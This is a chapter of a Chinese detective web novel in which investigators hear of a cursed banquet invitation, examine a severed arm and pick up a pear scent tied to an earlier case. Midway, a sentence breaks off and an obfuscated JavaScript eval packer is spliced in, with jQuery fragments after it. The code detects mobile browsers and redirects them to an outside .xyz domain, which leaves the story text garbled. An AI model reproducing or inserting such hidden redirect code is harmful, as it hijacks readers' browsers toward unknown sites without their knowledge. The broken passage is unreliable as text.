78. 鬼宴
作品:《朔飙过境(探案)》 那壮汉还没来得及答,倒是店小二先开口答了:“请柬,因为请柬。”
他似乎格外惧怕那个请柬,哪怕此刻是在用这个请柬为林若草等人解惑,他的头都刻意的转到了一边,不去看它:“每个收了请柬的人都会在第二天晚上莫名其妙消失,过上三到五日又自己回来。
回来的时候,他们可能疯疯癫癫,也可能肢体残缺,但唯独不变的,是他们的头上一定绑着这个请柬。”
他转过头,一双眼睛如同认命般地空洞:“他们带回来的请柬不再是空白的,会多上一个落款,落的是平南王之女的闺名落雁。”
落雁?慕落雁?
这可不太像是个贵族女子的名字,而且……
林若草思考时,穆熊梦凑上前来耳语道:“论起来,皇兄子女这一辈该是男从旭女从灵,他膝下一儿一女,皆是从旭从灵的,没听说过叫什么落雁的。”
是啊,别说名字的怪异了,贵族女子的闺名,他们这些偏僻乡镇的人又是怎么知道的呢?
似是看出了林若草的疑惑,店小二从怀里掏出一本贴身放着的册子,册子有些皱皱巴巴的,一看就是经常翻阅的。
他快速地将册子翻到其中一页摊开来展示给大家看:“我没读过什么书,也不识几个字,但这册子上面的字,我特地找过路的书生挨个问了标注出来记牢了。”
那册子不大,约莫巴掌大小,裹着褪了色的蓝纸封皮。
内页的纸张更是参差不齐,有的黄得发脆,有的白得刺眼,还有几张分明是从旧账本上撕下来的,像是东摸一张西捡一张拼凑出来的一样。
“这册子是镇上所有不幸经历了怪事的人总结出来的,有一位从宴会上活着回来的书生,清楚的描述了他亲耳听见了宴会的主人自称自己为王爷之女。
淮南地界的王爷,除了平南王还能是谁?”
“这宴会,就是平南王之女的鬼宴。”
他语气坚决,瞪大的眼睛里透着不安,边说边不自觉地挥动手臂。
紧张惊恐的情绪从他身上蔓延,逐渐笼罩整个大堂。
简直是一派胡言,毫无逻辑。
比起其他人的惶恐不安,林若草有些无语的皱了皱眉头,她还以为他能拿出什么有力的证据,搞了半天,就这?
她和穆熊梦对视一眼,两人都有些无奈。
她们甚至在思考,这所谓的什么鬼宴,是不是有人装神弄鬼编故事吓人,刚好又有那么几个凑巧出了事的,被这些乡镇的村民听了进去,误以为真了。
“不是假的。”一直没说话的轮椅男人突然开了口,他看出了林若草和穆熊梦二人的想法,主动上前:“不是假的。”
“是真的有宴会,但是不是鬼宴不清楚。”
他说着伸手,身后站着的黑衣男护卫将肩上一直背着的用黑布包着的箱子解下来,递给他,他接过箱子打开,箱子里赫然放着一截断臂:
“自我介绍一下,在下宁舒意,家父是宁海镖局总镖头,八日前,在下的叔叔带队押镖路过此处,不知为何着了道,不仅丢了镖,整队镖师只剩他一人回了镖局。
他自回去后,一直疯疯癫癫,在回去的第二日晚上自断了手臂跳了河。”
“河流湍急,他的尸身我们没能捞回来,只留下了这截断臂。”
他说着将箱子递给了林若草,那手臂放在箱子四周都铺满了冰块,保存良好,但近日天气回暖,这截断臂隐隐已有腐烂之势。
刚接过来,林若草便觉得一股臭味扑鼻。
何止是臭味,那手臂的形态更是让人泛呕,穆熊梦只看了一眼,胃里就一股翻涌,连退数步,扶着柱子干呕起来。
她算是见过尸身的了,连她都如此,更别说大堂里站着的那些普通人了。
他们看着宁舒意的眼神都变了,原本还依赖性地站在他四周的人,此刻纷纷退开,避如蛇蝎一般。
要知道这箱子自从宁舒意他们来到客栈就一直被那黑衣男子贴身携带,就连睡觉如厕都没有取下来过。
谁家正常人能有这么强大的心理,日日背着一截断臂,面不改色呢?
这些变化宁舒意察觉到了,但他丝毫不在意,他只专注地看着林若草,盯着她的反应。
“在下此次前来,一为寻镖,二则就是为了查清真相。”
林若草打量着箱子里的断臂,衣物布料和宁舒意身后那个黑衣男子身上穿着的很像,应该是镖局统一采买的,伤口整齐。
出刀之人手段利落,没有丝毫犹豫。
这其实是不太符合自残的表现的,人在自残时,通常会因为心理紧张导致手臂肌肉收缩、颤抖,下刀的手也容易犹豫,这种情况下产生的伤口,不会很平整。
像这种伤口表现,在人毫无防备情况下,被他人一刀铲断的概率更大。
若真是自己所为,只能说此人心志坚韧非凡。
她的目光顺着手臂下移,从伤口处一路移到手指,这是个很典型的握刀人的手,手上的茧无声的说明着他的身份。
等等……
“他是个左撇子?还是说使双刀?”
听到这话,宁舒意微微勾了勾唇,他果然没看错,这位林姑娘有两把刷子,一下就发现了问题的关窍。
“不,我叔叔自幼习武,惯用手一直都是右手。”他停了停,似乎是在卖关子,又像是在回忆:“他从未用过左手,但那日,他左手持刀,一刀砍断了他的右手臂。”
这简直匪夷所思。
林若草蹙了蹙眉,如果是这样的话,她大概能明白,大名鼎鼎宁海镖局的未来大当家坐着轮椅也要亲自过来这里一趟的原因了。
此刻对于那鬼宴,她已信了七分。
她将箱子推过去,刚要开口,屋外一阵大风吹过,将原本的禁闭着的门窗吹开,那风朝着林若草的脸吹来,箱子里手臂腐烂的臭味扑面而来。
那股子像是食物糜烂长蛆的味道瞬间席卷林若草的鼻腔,攻击她的嗅觉。
臭气熏天,她两眼一翻,连忙屏住呼吸。
在这时,她突然嗅到了,一股隐藏在臭味之下的,熟悉的香味。
她鼻子动了动,努力说服大脑忽略空气中弥漫着的腐臭味,从漫天的臭味里分辨,找寻那一抹香味传来的地方。
吸气。
吸气。
再吸气。
林若草觉得自己的鼻子都快要麻木,那股
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109945|164962||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
腐烂的恶臭像黏腻的蛆虫般爬进她的鼻腔,在黏膜上留下令人作呕的痕迹。
她终于找到了香味的来路。
刺啦!
布料被划开发出一声响,箱子被林若草快速地关上,腐臭味被隔绝,她握住那块刚从断臂上扯下来的布料狂嗅不止。
那副样子,看起来比疯子,还要像疯子。
众人脸上都出现了不忍直视的表情。
穆熊梦忍了又忍还是没忍住上前扯了扯林若草的袖子:“你是有恋臭癖吗?”
林若草的动作停了下来,她睁着一双泛灰的眼睛看着穆熊梦,还怪渗人的。
穆熊梦连忙摆手:“我没有歧视的意思哈,尊重他人癖好人人有责。”
她尬笑两声指了指四周:“只是咱要不,看看场合?”
林若草翻了个大大的白眼,将那块布料甩给了穆熊梦:“你闻闻,熟不熟悉。”
啊?我也要闻吗?
穆熊梦忍着恶心,做足了心理准备才小小的闻了闻。
这一闻,她就愣住了。
熟,这可太熟了。
梨香,上一个案子里无处不在的梨香。
在这里,又出现了。
林若草将箱子递还给宁舒意,他身后的黑衣男子主动上前将箱子接了回去。
不知为何,她越看这个黑衣男子,越觉得熟悉,尤其是这个身形和走路的样子。
总感觉,像是在哪见过一样。
在哪里呢?
她冥思苦想,一道道身影在脑海里闪过,最终一个许久未见的身影停了下来。
对了,祝隐骄!
这个人的身形和祝隐骄极其相似。
离京前,她回了趟家,一是为了跟阿娘告别,二便是不太放心祝隐骄。
没想到这次,却没见到祝隐骄的人,据阿娘说他在她回去的前一日离开了,没有说去哪,也没有说干什么去,只是说到时间了,需要走了。
人是走了,东西却没拿走。
他的那些行李放在隔间里,碍眼的很。
林若草本想将他的东西打开来检查检查,但阿娘却执意不肯,她只好作罢,找了个大箱子将他的东西全丢了进去,锁了起来,并嘱咐阿娘若是他回来,一定要第一时间通知她。
这么多天也没接到阿娘的消息,她本已把这个人抛之脑后。
没想到,会在这里突然想起。
她的眼神停留在黑衣男子身上的时间太长了,长到足以引起他人侧目。
穆熊梦和宁舒意都看向了她。
宁舒意的眼神在林若草和自家护卫身上转了一圈:“不知,可是阿青有哪里冒犯了姑娘?”
林若草回过神来,她看向宁舒意:“他叫阿青?”
宁舒意点了点头。
“或许你们认识一个叫祝隐骄的人吗?”
阿青没有说话,他只是沉默地站在宁舒意身后。
好像从始至终,他就没有开口说过话,像一个哑巴一样。
“祝隐骄?”宁舒意好好回想了一下,摇了摇头:“从未听说过。”
林若草有些不依不饶地盯着阿青:“那这位阿青呢?也未听说过?”

